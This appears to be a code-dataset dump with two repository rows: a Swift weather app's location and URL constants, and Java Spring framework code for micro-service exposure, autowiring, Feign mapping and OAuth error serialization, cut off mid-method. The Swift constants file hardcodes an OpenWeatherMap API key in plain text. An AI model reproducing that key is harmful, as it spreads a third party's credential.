branch_name
stringclasses 149
values | text
stringlengths 23
89.3M
| directory_id
stringlengths 40
40
| languages
listlengths 1
19
| num_files
int64 1
11.8k
| repo_language
stringclasses 38
values | repo_name
stringlengths 6
114
| revision_id
stringlengths 40
40
| snapshot_id
stringlengths 40
40
|
|---|---|---|---|---|---|---|---|---|
refs/heads/master
|
<repo_name>Yujiro-Saito/WeatherApp006<file_sep>/Weather App 006/Location.swift
//
// Location.swift
// Weather App 006
//
// Created by <NAME> on 2017/02/01.
// Copyright © 2017年 yujir006. All rights reserved.
//
import CoreLocation
class Location {
static var sharedInstance = Location() //staticvar is accessible from anywhere
private init() {}
var latitude: Double!
var longitude: Double!
}
<file_sep>/Weather App 006/Constants.swift
//
// Constants.swift
// Weather App 006
//
// Created by <NAME> on 2017/01/31.
// Copyright © 2017年 yujir006. All rights reserved.
//
import Foundation
//http://api.openweathermap.org/data/2.5/weather?lat=35&lon=139&appid=4f94e279b41c99cdc2a30d485708f917
let BASE_URL = "http://api.openweathermap.org/data/2.5/weather?"
let LATITUDE = "lat="
let LONGITUDE = "&lon="
let APP_ID = "&appid="
let API_KEY = "4f94e279b41c99cdc2a30d485708f917"
typealias DownloadComplete = () -> ()
//http://api.openweathermap.org/data/2.5/forecast/daily?lat=-33&lon=151&cnt=10&mode=json&appid=4f94e279b41c99cdc2a30d485708f917
//let CURRENT_WEATHER_URL = "\(BASE_URL)\(LATITUDE)-33\(LONGITUDE)151\(APP_ID)\(API_KEY)"
let CURRENT_WEATHER_URL = "http://api.openweathermap.org/data/2.5/forecast/daily?lat=\(Location.sharedInstance.latitude!)&lon=\(Location.sharedInstance.longitude!)&cnt=10&mode=json&appid=4f94e279b41c99cdc2a30d485708f917"
let FORECAST_URL = "http://api.openweathermap.org/data/2.5/forecast/daily?lat=\(Location.sharedInstance.latitude!)&lon=\(Location.sharedInstance.longitude!)&cnt=10&mode=json&appid=4f9<KEY>"
|
4061f22ba93350344d7da0e06c31afe1124aff5c
|
[
"Swift"
] | 2
|
Swift
|
Yujiro-Saito/WeatherApp006
|
65f139ab5dbc613e13291ef96020638f935383e6
|
0fe3c7da33b098a2398b4886d87b94672dafc06c
|
refs/heads/master
|
<repo_name>bellmit/yuanhan-framework<file_sep>/saas-quark/src/main/java/com/zhjs/saas/quark/annotation/support/MicroServiceBeanPostProcessor.java
package com.zhjs.saas.quark.annotation.support;
import java.io.Serializable;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.BeanFactoryAware;
import org.springframework.beans.factory.config.BeanDefinition;
import org.springframework.beans.factory.config.InstantiationAwareBeanPostProcessorAdapter;
import org.springframework.beans.factory.support.BeanDefinitionBuilder;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.core.Ordered;
import org.springframework.core.PriorityOrdered;
import org.springframework.core.annotation.AnnotationUtils;
import org.springframework.remoting.caucho.HessianServiceExporter;
import org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter;
import org.springframework.remoting.rmi.RmiServiceExporter;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
import com.zhjs.saas.quark.annotation.MicroService;
import com.zhjs.saas.quark.protocol.ServiceProtocol;
import com.zhjs.saas.quark.remote.DubboServiceExporter;
import com.zhjs.saas.quark.remote.QuarkServiceExporter;
/**
*
* @author: <NAME>
* @since: 2017-11-07
* @modified: 2017-11-07
* @version:
*/
public class MicroServiceBeanPostProcessor extends InstantiationAwareBeanPostProcessorAdapter
implements BeanFactoryAware, ApplicationContextAware, PriorityOrdered, Serializable
{
private static final long serialVersionUID = -2752985822026107210L;
private Logger logger = LoggerFactory.getLogger(getClass());
private int order = Ordered.LOWEST_PRECEDENCE;
private DefaultListableBeanFactory beanFactory;
private ApplicationContext context;
@Override
public boolean postProcessAfterInstantiation(Object bean, String beanName) throws BeansException {
MicroService micro = AnnotationUtils.findAnnotation(bean.getClass(), MicroService.class);
if(micro!=null)
{
ServiceProtocol[] protocols = micro.value();
for(ServiceProtocol protocol : protocols)
{
registerMicroServiceBean(protocol, micro, bean, beanName);
}
}
return true;
}
private void registerMicroServiceBean(ServiceProtocol protocol, MicroService micro, Object bean, String beanName)
{
Class<?> interfaceClass = micro.interfaceClass();
if(interfaceClass.equals(void.class))
{
Class<?>[] interfaces = bean.getClass().getInterfaces();
if(interfaces.length>0)
interfaceClass = interfaces[0];
else
throw new IllegalStateException("Failed to expose micro-service [" + bean.getClass().getName()
+ "] cause: The @MicroService undefined interfaceClass or the service class unimplemented any interfaces.");
}
String urlName = micro.path() + "/" + interfaceClass.getSimpleName() + "-" + micro.version();
BeanDefinitionBuilder builder = BeanDefinitionBuilder.genericBeanDefinition();
switch(protocol)
{
case Dubbo:
default:
urlName += ".dubbo";
if(micro.dubbo().length==0)
throw new IllegalArgumentException("Failded to expose micro-service by dubbo, because at lease one dubbo @Service"
+ " is required to set by @MircoService.dubbo() method.");
builder.getRawBeanDefinition().setBeanClass(DubboServiceExporter.class);
builder.addPropertyValue(MicroService.Annotation, micro.dubbo());
break;
case Quark:
urlName += ".quark";
builder.getRawBeanDefinition().setBeanClass(QuarkServiceExporter.class);
break;
case Hessian:
urlName += ".hessian";
builder.getRawBeanDefinition().setBeanClass(HessianServiceExporter.class);
break;
case RMI:
urlName += ".rmi";
builder.getRawBeanDefinition().setBeanClass(RmiServiceExporter.class);
builder.addPropertyValue("serviceName", urlName);
builder.addPropertyValue(MicroService.Port,
micro.port()==0?context.getEnvironment().getProperty(MicroService.PortConfig):micro.port());
break;
case HttpInvoker:
urlName += ".httpinvoker";
builder.getRawBeanDefinition().setBeanClass(HttpInvokerServiceExporter.class);
break;
}
builder.addPropertyValue(MicroService.ServiceInterface, interfaceClass);
builder.addPropertyReference(MicroService.Service, beanName);
builder.setRole(BeanDefinition.ROLE_INFRASTRUCTURE);
beanFactory.registerBeanDefinition(urlName, builder.getBeanDefinition());
logger.info("Expose a micro-service bean [{}] with url [{}]", beanName, urlName);
}
public void setBeanFactory(BeanFactory beanFactory) throws BeansException
{
if (!(beanFactory instanceof DefaultListableBeanFactory))
{
throw new IllegalArgumentException("MicroServiceBeanPostProcessor requires a DefaultListableBeanFactory!!!");
}
this.beanFactory = (DefaultListableBeanFactory) beanFactory;
}
public void setOrder(int order) {
this.order = order;
}
@Override
public int getOrder() {
return this.order;
}
@Override
public void setApplicationContext(ApplicationContext applicationContext) throws BeansException
{
this.context = applicationContext;
}
}
<file_sep>/saas-security/src/main/java/com/zhjs/saas/security/exception/OAuthResponseExceptionSerializer.java
package com.zhjs.saas.security.exception;
import java.io.IOException;
import java.util.Map.Entry;
import org.springframework.web.util.HtmlUtils;
import com.fasterxml.jackson.core.JsonGenerator;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.SerializerProvider;
import com.fasterxml.jackson.databind.ser.std.StdSerializer;
import com.zhjs.saas.core.util.MessageUtil;
/**
*
* @author: <NAME>
* @since: 2018-04-13
* @modified: 2018-04-13
* @version:
*/
@SuppressWarnings("serial")
public class OAuthResponseExceptionSerializer extends StdSerializer<OAuthResponseException>
{
public OAuthResponseExceptionSerializer()
{
super(OAuthResponseException.class);
}
@Override
public void serialize(OAuthResponseException value, JsonGenerator jgen, SerializerProvider provider) throws IOException,
JsonProcessingException {
jgen.writeStartObject();
jgen.writeBooleanField("success", false);
jgen.writeStringField("errorCode", value.getErrorCode());
jgen.writeStringField("message", MessageUtil.getMessage(value.getErrorCode()));
jgen.writeObjectFieldStart("data");
jgen.writeStringField("error", value.getOAuth2ErrorCode());
String errorMessage = value.getMessage();
if (errorMessage != null) {
errorMessage = HtmlUtils.htmlEscape(errorMessage);
}
jgen.writeStringField("error_description", errorMessage);
jgen.writeEndObject();
if (value.getAdditionalInformation()!=null) {
for (Entry<String, String> entry : value.getAdditionalInformation().entrySet()) {
String key = entry.getKey();
String add = entry.getValue();
jgen.writeStringField(key, add);
}
}
jgen.writeEndObject();
}
}<file_sep>/saas-quark/src/main/java/com/zhjs/saas/quark/annotation/support/ServiceConsumerContract.java
package com.zhjs.saas.quark.annotation.support;
import java.lang.annotation.Annotation;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.cloud.client.ServiceInstance;
import org.springframework.cloud.client.discovery.DiscoveryClient;
import org.springframework.cloud.netflix.feign.AnnotatedParameterProcessor;
import org.springframework.cloud.netflix.feign.support.SpringMvcContract;
import org.springframework.context.ApplicationContext;
import org.springframework.core.convert.ConversionService;
import org.springframework.core.convert.support.DefaultConversionService;
import com.zhjs.saas.core.annotation.ApiMapping;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
import com.zhjs.saas.core.util.AnnotationUtil;
import com.zhjs.saas.core.util.StringUtil;
import com.zhjs.saas.quark.annotation.ServiceConsumer;
import feign.MethodMetadata;
/**
*
* @author: <NAME>
* @since: 2017-12-16
* @modified: 2017-12-16
* @version:
*/
public class ServiceConsumerContract extends SpringMvcContract
{
private Logger logger = LoggerFactory.getLogger(getClass());
@Autowired
private ApplicationContext context;
public ServiceConsumerContract() {
this(Collections.<AnnotatedParameterProcessor> emptyList());
}
public ServiceConsumerContract(List<AnnotatedParameterProcessor> annotatedParameterProcessors) {
this(annotatedParameterProcessors, new DefaultConversionService());
}
public ServiceConsumerContract(List<AnnotatedParameterProcessor> annotatedParameterProcessors, ConversionService conversionService) {
super(annotatedParameterProcessors, conversionService);
}
@Override
protected void processAnnotationOnClass(MethodMetadata data, Class<?> clz)
{
super.processAnnotationOnClass(data, clz);
ServiceConsumer service = AnnotationUtil.findAnnotation(clz, ServiceConsumer.class);
if(service!=null)
{
List<ServiceInstance> instances = context.getBean(DiscoveryClient.class).getInstances(service.name());
if(instances!=null && instances.size()>0)
{
ServiceInstance instance = instances.get(0);
String rootPath = instance.getMetadata().get("root-path");
if (StringUtil.isNotEmpty(rootPath) && !rootPath.startsWith("/"))
rootPath = "/" + rootPath;
/*if(StringUtil.isNotEmpty(rootPath) && !rootPath.equals("/"))
data.template().insert(0, rootPath);*/
}
logger.debug("Mapping ServiceConsumer[feign] url [{}] to serviceId [{}]", data.template().url(), service.name());
}
}
@Override
protected void processAnnotationOnMethod(MethodMetadata data, Annotation annotation, Method method)
{
super.processAnnotationOnMethod(data, annotation, method);
ApiMapping api = AnnotationUtil.findAnnotation(method, ApiMapping.class);
if(api!=null)
{
data.template().query("method", StringUtil.isBlank(api.value()) ? method.getName() : api.value());
if(StringUtil.isNotBlank(api.v()))
data.template().query("v", api.v());
}
}
@Override
protected boolean processAnnotationsOnParameter(MethodMetadata data, Annotation[] annotations, int paramIndex)
{
return super.processAnnotationsOnParameter(data, annotations, paramIndex);
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/logger/support/SystemLoggerPrintStream.java
package com.zhjs.saas.core.logger.support;
import java.io.OutputStream;
import java.io.PrintStream;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
/**
*
* @author: <NAME>
* @since: 2017-11-14
* @modified: 2017-11-14
* @version:
*/
public class SystemLoggerPrintStream extends PrintStream
{
private static Logger logger = LoggerFactory.getLogger(SystemLoggerPrintStream.class);
public SystemLoggerPrintStream(OutputStream out)
{
super(out);
}
public void print(boolean b)
{
println(b);
}
public void print(char c)
{
println(c);
}
public void print(char[] s)
{
println(s);
}
public void print(double d)
{
println(d);
}
public void print(float f)
{
println(f);
}
public void print(int i)
{
println(i);
}
public void print(long l)
{
println(l);
}
public void print(Object obj)
{
println(obj);
}
public void print(String s)
{
println(s);
}
private void logger(Object arg)
{
logger.info("{}", arg);
}
public void println(boolean x)
{
logger(x);
}
public void println(char x)
{
logger(Character.valueOf(x));
}
public void println(char[] x)
{
logger(x == null ? null : new String(x));
}
public void println(double x)
{
logger(Double.valueOf(x));
}
public void println(float x)
{
logger(Float.valueOf(x));
}
public void println(int x)
{
logger(Integer.valueOf(x));
}
public void println(long x)
{
logger(x);
}
public void println(Object x)
{
logger(x);
}
public void println(String x)
{
logger(x);
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/annotation/ServiceComponent.java
package com.zhjs.saas.core.annotation;
import static java.lang.annotation.ElementType.TYPE;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import org.springframework.core.annotation.AliasFor;
import org.springframework.stereotype.Service;
/**
*
* @author: <NAME>
* @since: 2017-06-01
* @modified: 2017-06-01
* @version:
*/
@Documented
@Retention(RUNTIME)
@Target(TYPE)
@Service
@CommonAutowired
public @interface ServiceComponent
{
/**
* will be used as a service bean name. and also will be used as a soa service name.
* So we suggest you to definite a good service name in good pattern.
* Like user.baseinfo.update, user.baseinfo.query, and etc.
* The value may indicate a suggestion for a logical component name,
* to be turned into a Spring bean in case of an auto-detected component.
* @return the suggested component name, if any
*/
@AliasFor(annotation=Service.class, attribute="value")
String value() default "";
@AliasFor(annotation=Service.class, attribute="value")
String method() default "";
/**
* define the remote protocols that will be supported by current service.
* soa remote protocol, such as phprpc, hessian, rmi, spring-remote, dubbo, and so on
*
* @return the protocols if any
*/
String[] protocol() default {};
/**
* soa group that the current service beyond, default group name is "DEFAULT"
*
* @return the suggested group name, if any
*/
String group() default "DEFAULT";
/**
* Chinese group name can be set here. when generate API doc, it will be used.
*
* @return the suggested group name, if any
*/
String groupTitle() default "DEFAULT";
/**
* tags, you can set some tags to a service.
*
* @return the suggested tags' name, if any
*/
String[] tags() default {};
/**
*
*
* @return a million second time if any
*/
int timeout() default -1;
/**
* service version, multi versions from one particular same service.
* when a service has a upgrade version, and you want to keep the old version running.
* then you can use version to separate different versions.
*
* @return the version number if there is any
*/
String version() default "";
@AliasFor(annotation=CommonAutowired.class, attribute="method")
AutowiredMethod autowired() default AutowiredMethod.BY_TYPE;
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/grid/PagingDisplay.java
package com.zhjs.saas.core.grid;
import java.util.ArrayList;
import java.util.List;
import javax.persistence.Transient;
import com.zhjs.saas.core.util.CollectionUtil;
/**
*
* @author: <NAME>
* @since: 2017-05-19
* @modified: 2017-05-19
* @version:
*/
public class PagingDisplay<T> {
private Pagination pagination = new Pagination();
private SearchCriteria searchCriteria = new SearchCriteria();
private List<T> resultItems;
private List<Object> addition;
/**
* @return the gridPaging
*/
public Pagination getPagination() {
return pagination;
}
/**
* @param gridPaging the gridPaging to set
*/
public void setPagination(Pagination pagination) {
this.pagination = pagination;
}
/**
* @return the searchCriteria
*/
@Transient
public SearchCriteria getSearchCriteria() {
return searchCriteria;
}
/**
* @param searchCriteria the searchCriteria to set
*/
public void setSearchCriteria(SearchCriteria searchCriteria) {
this.searchCriteria = searchCriteria;
}
/**
* @return the resultItems
*/
public List<T> getResultItems() {
return resultItems;
}
/**
* @param resultItems the resultItems to set
*/
public void setResultItems(List<T> resultItems) {
this.resultItems = resultItems;
}
/**
* push an object into additional list
*
* @param o
* @return the additional list
*/
public List<Object> pushAddition(Object o)
{
if(CollectionUtil.isEmpty(addition))
addition = new ArrayList<>();
addition.add(o);
return addition;
}
/**
* @return the additional
*/
public List<Object> getAddition()
{
return addition;
}
/**
* @param additional the additiona list to set
*/
public void setAddition(List<Object> additional)
{
this.addition = additional;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/annotation/support/CommonAutowiredAnnotationBeanPostProcessor.java
package com.zhjs.saas.core.annotation.support;
import java.beans.PropertyDescriptor;
import java.io.Serializable;
import java.lang.annotation.Annotation;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.Map;
import java.util.Set;
import org.springframework.beans.BeansException;
import org.springframework.beans.PropertyValues;
import org.springframework.beans.TypeConverter;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.BeanFactoryAware;
import org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor;
import org.springframework.beans.factory.config.ConfigurableListableBeanFactory;
import org.springframework.beans.factory.config.DependencyDescriptor;
import org.springframework.beans.factory.config.InstantiationAwareBeanPostProcessor;
import org.springframework.core.annotation.AnnotationUtils;
import org.springframework.util.ReflectionUtils;
import com.zhjs.saas.core.annotation.AutowiredMethod;
import com.zhjs.saas.core.annotation.CommonAutowired;
import com.zhjs.saas.core.annotation.CommonQualifier;
import com.zhjs.saas.core.annotation.InitMethod;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
import com.zhjs.saas.core.util.AopUtil;
/**
*
* @author: <NAME>
* @since: 2017-05-18
* @modified: 2017-05-18
* @version:
*/
public class CommonAutowiredAnnotationBeanPostProcessor extends
InitDestroyAnnotationBeanPostProcessor implements
//InstantiationAwareBeanPostProcessorAdapter implements
InstantiationAwareBeanPostProcessor, BeanFactoryAware, Serializable {
private static final long serialVersionUID = -6829468833505630007L;
private static Logger logger = LoggerFactory
.getLogger(CommonAutowiredAnnotationBeanPostProcessor.class);
private Class<? extends Annotation> autowiredAnnotationType = CommonAutowired.class;
private Class<? extends Annotation> qualifierType = CommonQualifier.class;
private Class<? extends Annotation> initMethodType = InitMethod.class;
private final String autowiredParameterName = "method";
private final String autowiredCallBack = "callBack";
private Map<String, Method> autowiredCallBackMap = new HashMap<String, Method>();
private AutowiredMethod autowiredParameterValue;
private ConfigurableListableBeanFactory beanFactory;
protected void autowiredCallBackMethod(Annotation annotation, Object bean, int i)
{
Method method = ReflectionUtils.findMethod(annotation.annotationType(), this.autowiredCallBack);
String[] callBackMethods = (String[])ReflectionUtils.invokeMethod(method,annotation);
if(callBackMethods!=null && callBackMethods.length>0)
{
if(callBackMethods.length>i)
{
if(callBackMethods[i]!=null && !callBackMethods[i].equals(""))
{
Method callBack = ReflectionUtils.findMethod(bean.getClass(),callBackMethods[i]);
ReflectionUtils.invokeMethod(callBack, bean);
}
}
}
}
protected void autowiredCallBackMethod(String fieldName, Object bean)
{
Method callBack = (Method)autowiredCallBackMap.get(fieldName);
if(callBack!=null)
ReflectionUtils.invokeMethod(callBack, bean);
}
protected void setAutowiredCallBackMap(Annotation annotation, Object bean)
{
Method method = ReflectionUtils.findMethod(annotation.annotationType(), this.autowiredCallBack);
String[] callBackMethods = (String[])ReflectionUtils.invokeMethod(method,annotation);
if(callBackMethods!=null && callBackMethods.length>0)
{
for(String callBackMethod : callBackMethods)
{
if(callBackMethod!=null && !callBackMethod.equals(""))
{
String[] methodMap = callBackMethod.split(":");
//Method callBack = ReflectionUtils.findMethod(bean.getClass(),methodMap[1]);
this.autowiredCallBackMap.put(methodMap[0], ReflectionUtils.findMethod(bean.getClass(),methodMap[1]));
}
}
}
}
protected AutowiredMethod getAutowiredParameterValue(Annotation annotation)
{
Method method = ReflectionUtils.findMethod(annotation.annotationType(), this.autowiredParameterName);
this.autowiredParameterValue = (AutowiredMethod) ReflectionUtils.invokeMethod(method, annotation);
return this.autowiredParameterValue;
}
protected void invokeInitMethod(final Object bean)
{
ReflectionUtils.doWithMethods(AopUtil.getFinalTargetClass(bean), new ReflectionUtils.MethodCallback() {
public void doWith(Method method) throws IllegalArgumentException, IllegalAccessException
{
ReflectionUtils.makeAccessible(method);
ReflectionUtils.invokeMethod(method, bean);
}
}
,new ReflectionUtils.MethodFilter() {
public boolean matches(Method method) {
return AnnotationUtils.findAnnotation(method, initMethodType)!=null;
}
});
}
/* (non-Javadoc)
* @see org.springframework.beans.factory.config.InstantiationAwareBeanPostProcessor#postProcessAfterInstantiation(java.lang.Object, java.lang.String)
*/
public boolean postProcessAfterInstantiation(Object bean, String beanName) throws BeansException
{
// TODO Auto-generated method stub
Annotation commonAutowired = AnnotationUtils.findAnnotation(bean.getClass(), autowiredAnnotationType);
if (commonAutowired!=null)
{
String[] packages = this.getClass().getPackage().getName().split("\\.");
String package_prefix = packages[0] + "." + packages[1];
setAutowiredCallBackMap(commonAutowired, bean);
switch (getAutowiredParameterValue(commonAutowired))
{
// need to do something to support "byType" annotation
case BY_NAME:
{
Class<?> searchType = bean.getClass();
while(searchType.getName().startsWith(package_prefix) && searchType!=null)
{
// get all fields of the bean by reflecting
Field[] fields = searchType.getDeclaredFields();
for (Field field : fields)
{
try {
field.setAccessible(true);
if(field.get(bean)!=null)
continue;
} catch (IllegalArgumentException e) {
continue;
} catch (IllegalAccessException e) {
continue;
}
String autowiredBeanName = "";
//if(field.isAnnotationPresent(qualifierType))
Annotation annotation = AnnotationUtils.findAnnotation(field,qualifierType);
if(annotation!=null)
autowiredBeanName = (String)AnnotationUtils.getValue(annotation);
if(autowiredBeanName.equals(""))
{
autowiredBeanName = field.getName();
}
Object value = beanFactory.getBean(autowiredBeanName);
if (value != null)
{
field.setAccessible(true);
try
{
//inject the value to the bean
//value = AopUtil.getFinalTarget(value);
field.set(bean, value);
// invoke callBack method
//autowiredCallBackMethod(bean.getClass().getAnnotation(AutowiredAnnotationType),bean,i);
autowiredCallBackMethod(field.getName(), bean);
}
catch (Exception e)
{
logger.error("Could not autowire field by name: {}", field);
logger.error("", e);
}
}
}
searchType = searchType.getSuperclass();
}
break;
}
case BY_TYPE:
{
Class<?> searchType = bean.getClass();
while(searchType.getName().startsWith(package_prefix) && searchType!=null)
{
// get all fields of the bean by reflecting
Field[] fields = searchType.getDeclaredFields();
for (Field field : fields)
{
try {
field.setAccessible(true);
if(field.get(bean)!=null)
continue;
} catch (IllegalArgumentException e) {
continue;
} catch (IllegalAccessException e) {
continue;
}
Set<String> autowiredBeanNames = new LinkedHashSet<String>(1);
TypeConverter typeConverter = beanFactory.getTypeConverter();
DependencyDescriptor descriptor = new DependencyDescriptor(field, false);
Object value;
//if(field.isAnnotationPresent(qualifierType))
Annotation annotation = AnnotationUtils.findAnnotation(field,qualifierType);
if(annotation!=null)
{
String autowiredBeanName = (String)AnnotationUtils.getValue(annotation);
if(autowiredBeanName.equals(""))
{
autowiredBeanName = field.getName();
}
autowiredBeanNames.add(autowiredBeanName);
value = beanFactory.getBean(autowiredBeanName);
}
else
value = beanFactory.resolveDependency(descriptor, beanName, autowiredBeanNames, typeConverter);
if (value != null)
{
registerDependentBeans(beanName, autowiredBeanNames);
if (autowiredBeanNames.size() == 1)
{
String autowiredBeanName = autowiredBeanNames.iterator().next();
if (beanFactory.containsBean(autowiredBeanName))
{
if (beanFactory.isTypeMatch(autowiredBeanName, field.getType()))
{
field.setAccessible(true);
try
{
//inject the value to the bean
//value = AopUtil.getFinalTarget(value);
field.set(bean, value);
// invoke callBack method
//AutowiredCallBackMethod(bean.getClass().getAnnotation(AutowiredAnnotationType),bean,i);
autowiredCallBackMethod(field.getName(), bean);
}
catch (Exception e)
{
logger.error("Could not autowire field by type: {}", field);
logger.error("",e);
}
}
}
}
}
}
searchType = searchType.getSuperclass();
}
break;
}
}
}
invokeInitMethod(bean);
return true;
}
/**
* Register the specified bean as dependent on the autowired beans.
*/
private void registerDependentBeans(String beanName, Set<String> autowiredBeanNames)
{
if (beanName != null)
{
for (Iterator<String> it = autowiredBeanNames.iterator(); it.hasNext();)
{
String autowiredBeanName = it.next();
beanFactory.registerDependentBean(autowiredBeanName, beanName);
logger.debug("Autowiring by type from bean name '{}' to bean named '{}'", beanName, autowiredBeanName);
}
}
}
/* (non-Javadoc)
* @see org.springframework.beans.factory.config.InstantiationAwareBeanPostProcessor#postProcessBeforeInstantiation(java.lang.Class, java.lang.String)
*/
public Object postProcessBeforeInstantiation(Class<?> beanClass, String beanName) throws BeansException {
// TODO Auto-generated method stub
return null;
}
/* (non-Javadoc)
* @see org.springframework.beans.factory.config.InstantiationAwareBeanPostProcessor#postProcessPropertyValues(org.springframework.beans.PropertyValues, java.beans.PropertyDescriptor[], java.lang.Object, java.lang.String)
*/
public PropertyValues postProcessPropertyValues(PropertyValues pvs, PropertyDescriptor[] pds, Object bean, String beanName)
throws BeansException {
// TODO Auto-generated method stub
return pvs;
}
/* (non-Javadoc)
* @see org.springframework.beans.factory.BeanFactoryAware#setBeanFactory(org.springframework.beans.factory.BeanFactory)
*/
public void setBeanFactory(BeanFactory beanFactory) throws BeansException
{
// TODO Auto-generated method stub
if (!(beanFactory instanceof ConfigurableListableBeanFactory))
{
throw new IllegalArgumentException("AutowiredAnnotationBeanPostProcessor requires a ConfigurableListableBeanFactory!!!");
}
this.beanFactory = (ConfigurableListableBeanFactory) beanFactory;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/exception/CommonHandlerExceptionResolver.java
package com.zhjs.saas.core.exception;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.HandlerExceptionResolver;
import org.springframework.web.servlet.ModelAndView;
import com.alibaba.fastjson.support.spring.FastJsonJsonView;
/**
*
* @author: <NAME>
* @since: 2017-06-02
* @modified: 2017-06-02
* @version:
*/
public class CommonHandlerExceptionResolver implements HandlerExceptionResolver
{
@Override
public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response,
Object handler, Exception ex)
{
ModelAndView mv = new ModelAndView(new FastJsonJsonView());
if(!(ex instanceof BaseException))
{
//mv.
}
return mv;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/config/CommonConfiguration.java
package com.zhjs.saas.core.config;
import static com.zhjs.saas.core.config.PropertyConfig.Auto_CommonConfig_Enable;
import static com.zhjs.saas.core.config.PropertyConfig.Fastjson_Enable;
import static com.zhjs.saas.core.config.PropertyConfig.Fastjson_Filter_Exclude;
import static com.zhjs.saas.core.config.PropertyConfig.Global_DateTimeFormat;
import static com.zhjs.saas.core.config.PropertyConfig.PropertyBeanName;
import java.io.IOException;
import java.util.EventListener;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.SpringBootConfiguration;
import org.springframework.boot.autoconfigure.AutoConfigureBefore;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.boot.autoconfigure.condition.ConditionalOnWebApplication;
import org.springframework.boot.autoconfigure.web.ErrorAttributes;
import org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration;
import org.springframework.boot.autoconfigure.web.HttpMessageConverters;
import org.springframework.boot.autoconfigure.web.WebMvcRegistrationsAdapter;
import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.boot.web.servlet.ServletListenerRegistrationBean;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.PropertySource;
import org.springframework.context.support.PropertySourcesPlaceholderConfigurer;
import org.springframework.core.annotation.Order;
import org.springframework.core.env.Environment;
import org.springframework.core.io.Resource;
import org.springframework.core.io.support.PathMatchingResourcePatternResolver;
import org.springframework.core.io.support.ResourcePatternResolver;
import org.springframework.web.client.RestTemplate;
import org.springframework.web.cors.CorsConfiguration;
import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
import org.springframework.web.filter.CorsFilter;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import com.zhjs.saas.core.annotation.support.ApiMappingHandlerMapping;
import com.zhjs.saas.core.annotation.support.CommonAutowiredAnnotationBeanPostProcessor;
import com.zhjs.saas.core.config.support.PropertiesAwareProcessor;
import com.zhjs.saas.core.dao.sql.SQLResolver;
import com.zhjs.saas.core.exception.CommonErrorController;
import com.zhjs.saas.core.exception.CommonExceptionHandler;
import com.zhjs.saas.core.exception.CommonResponseErrorHandler;
import com.zhjs.saas.core.util.ApplicationContextUtil;
import com.zhjs.saas.core.util.CodecUtil;
import com.zhjs.saas.core.web.FastJsonHttpMsgConverter;
import com.zhjs.saas.core.web.listener.WebContextHolderListener;
/**
*
* @author: <NAME>
* @since: 2017-05-18
* @modified: 2017-05-18
* @version:
*/
@PropertySource(value={"classpath:application.properties",
"classpath:application-${spring.profiles.active}.properties",
"classpath:saas.properties",
"classpath:saas-${spring.profiles.active}.properties"},
ignoreResourceNotFound=true, encoding=CodecUtil.Charset)
@SpringBootConfiguration
@AutoConfigureBefore(ErrorMvcAutoConfiguration.class)
@EnableConfigurationProperties
@ConditionalOnProperty(name=Auto_CommonConfig_Enable, havingValue="true", matchIfMissing=true)
public class CommonConfiguration implements ApplicationContextAware
{
@Autowired
private Environment env;
private ApplicationContext context;
@Bean
public static PropertySourcesPlaceholderConfigurer propertySourcesPlaceholderConfigurer() {
return new PropertySourcesPlaceholderConfigurer();
}
@Bean(PropertyBeanName)
public static CommonPropertyPlaceholderConfigurer propertiesHolder()
{
ResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();
Resource[] resources;
try
{
resources = resolver.getResources("classpath:/**/*.properties");
} catch (IOException e)
{
resources = null;
}
return new CommonPropertyPlaceholderConfigurer(resources);
}
@Bean
public static CommonAutowiredAnnotationBeanPostProcessor commonAutowired()
{
return new CommonAutowiredAnnotationBeanPostProcessor();
}
@Bean
public static PropertiesAwareProcessor propertiesAware()
{
return new PropertiesAwareProcessor();
}
@Bean
public SQLResolver sqlResolver()
{
SQLResolver resovler = new SQLResolver();
resovler.init(env);
return resovler;
}
@Bean
@ConditionalOnProperty(name=Fastjson_Enable, havingValue="true")
public HttpMessageConverters fastJsonHttpMessageConverters()
{
return new HttpMessageConverters(
new FastJsonHttpMsgConverter(env.getProperty(Fastjson_Filter_Exclude),env.getProperty(Global_DateTimeFormat)));
}
@Bean
@ConditionalOnProperty(name=Fastjson_Enable, havingValue="true")
public RestTemplate restTemplate()
{
RestTemplate template = new RestTemplate();
